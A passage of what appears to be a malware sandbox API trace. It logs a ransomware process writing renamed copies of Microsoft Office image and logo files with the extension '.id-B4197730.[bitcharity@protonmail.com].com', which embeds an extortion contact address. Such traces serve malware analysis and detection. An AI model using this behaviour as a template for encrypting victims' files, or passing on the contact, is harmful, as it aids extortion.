(in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.500] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.500] CloseHandle (hObject=0x125c) returned 1 [0266.501] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.501] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.502] CloseHandle (hObject=0x125c) returned 1 [0266.502] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.502] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.503] CloseHandle (hObject=0x125c) returned 1 [0266.504] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.504] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.504] CloseHandle (hObject=0x125c) returned 1 [0266.505] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.505] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.505] CloseHandle (hObject=0x125c) returned 1 [0266.506] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.506] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.506] CloseHandle (hObject=0x125c) returned 1 [0266.507] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.507] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.507] CloseHandle (hObject=0x125c) returned 1 [0266.508] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.508] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.508] CloseHandle (hObject=0x125c) returned 1 [0266.508] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.509] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.509] CloseHandle (hObject=0x125c) returned 1 [0266.509] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.509] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.510] CloseHandle (hObject=0x125c) returned 1 [0266.510] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.510] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.510] CloseHandle (hObject=0x125c) returned 1 [0266.511] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.511] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.511] CloseHandle (hObject=0x125c) returned 1 [0266.512] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.512] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.512] CloseHandle (hObject=0x125c) returned 1 [0266.513] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.513] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.513] CloseHandle (hObject=0x125c) returned 1 [0266.513] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.514] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.514] CloseHandle (hObject=0x125c) returned 1 [0266.835] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.835] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.836] CloseHandle (hObject=0x1278) returned 1 [0266.836] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.836] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.837] CloseHandle (hObject=0x1278) returned 1 [0266.837] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.837] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.838] CloseHandle (hObject=0x1278) returned 1 [0266.838] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.838] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.839] CloseHandle (hObject=0x1278) returned 1 [0266.839] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.839] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.840] CloseHandle (hObject=0x1278) returned 1 [0266.840] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.840] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.840] CloseHandle (hObject=0x1278) returned 1 [0266.841] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.841] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.841] CloseHandle (hObject=0x1278) returned 1 [0266.842] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.842] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.842] CloseHandle (hObject=0x1278) returned 1 [0266.843] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.843] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.843] CloseHandle (hObject=0x1278) returned 1 [0266.844] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.844] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.844] CloseHandle (hObject=0x1278) returned 1 [0266.844] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.845] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.845] CloseHandle (hObject=0x1278) returned 1 [0266.847] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.847] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.847] CloseHandle (hObject=0x1278) returned 1 [0266.848] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.848] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.848] CloseHandle (hObject=0x1278) returned 1 [0266.849] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.849] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.849] CloseHandle (hObject=0x1278) returned 1 [0266.850] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.850] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.850] CloseHandle (hObject=0x1278) returned 1 [0266.851] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.851] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), 